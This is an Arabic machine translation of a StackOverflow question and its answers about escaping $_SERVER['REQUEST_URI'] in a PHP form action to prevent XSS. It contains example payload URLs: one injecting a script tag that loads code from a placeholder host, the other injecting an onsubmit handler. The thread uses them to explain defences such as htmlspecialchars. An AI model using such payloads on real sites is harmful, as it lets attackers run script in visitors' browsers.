هل قمت بتغطية جميع القواعد بالأمان عند صدى متغير الخادم إلى الصفحة؟

StackOverflow https://stackoverflow.com/questions/613680

  •  03-07-2019
  •  | 
  •  

سؤال

مع النماذج التي استخدمتها دائمًا

<form method="post" action="<?php echo strip_tags($_SERVER['REQUEST_URI']); ?>">

للحصول على نماذج بلدي لتقديم لأنفسهم.

أنا أستعمل striptags() في حالة ارتباط شخص ما بـ:

http://www.mysite.com/page-with-form.php?bla="><script src="http://www.nasty.com/super-nasty.js"></script><a href="#

هل قمت بتغطية جميع القواعد ، لتأمين من هجمات XSS ، أو هل يجب أن أستخدم نهجًا أكثر بيضاء ، يقول Regex الذي يسمح فقط بأحرف أبجدية ، وقطع في الأمام ، وعلامة الاستفهام ، وعلامة متساوية ، وأقواس ، إلخ؟

شكرًا لك!

هل كانت مفيدة؟

المحلول

يستخدم htmlspecialchars بدلاً من strip_tags.

نصائح أخرى

إذا كنت تريد الرجوع إلى نفس المخطط/المضيف/المسار إجراء بسيط = "؟" كافي. وفق http://tools.ietf.org/html/rfc3986#section-4.2

relative-ref  = relative-part [ "?" query ] [ "#" fragment ]

      relative-part = "//" authority path-abempty
                    / path-absolute
                    / path-noscheme
                    / path-empty

إنه URI النسبي الصحيح.

احصل على نموذج يقدم لنفسه عن طريق إرساله إلى هذا:

$_SERVER["PHP_SELF"]

هذا المتغير العالمي سوف يخرج الصفحة الحالية. ما لم يكن هناك سبب تحتاج إلى سلسلة الاستعلام بأكملها معها؟

تعديل

منذ أن أوضح فولكرك في التعليقات ، حتى PHP_SELF ضعيف ، يمكنك كتابة المتغير الصغير الخاص بك استنادًا إلى PHP_SELF وتنفجر بقية URI التي تعرف أنها ليست جزءًا من صفحتك. شيء من هذا القبيل:

$file_ext = '.php'; //knowing what file extension your URI is
$page_on = $_SERVER["PHP_SELF"]; //grab this page, with all that junk
$page_huh = explode($file_ext, $page_on); //blow it apart based on file ext
$page_on = $page_huh[0].$file_ext; //attach the leg back onto the URI

echo $page_on;

إذا كان لديك striptags() شرائط فقط علامات (أحرف بين "<" و ">" بما في ذلك قوسين الزاوية) ، لا يزال بإمكان شخص ما ضخ JavaScript:

http://www.mysite.com/page-with-form.php?bla=" onsubmit="return function(){ /*nasty code here*/ }()" style="

أفضل قائمة بيضاء محتملة كل شحنات ميتا محتملة في HTML و JavaScript و CSS (أي أقواس زاوية ، أقواس ، أقواس ، شبه كولون ، اقتباس مزدوج ، اقتباس واحد ، إلخ).

إذا كنت تريد أن يقدم نموذجًا لنفسه ، فما عليك سوى ترك الإجراء فارغًا على سبيل المثال

<form action="" method="POST">
...
</form>
مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top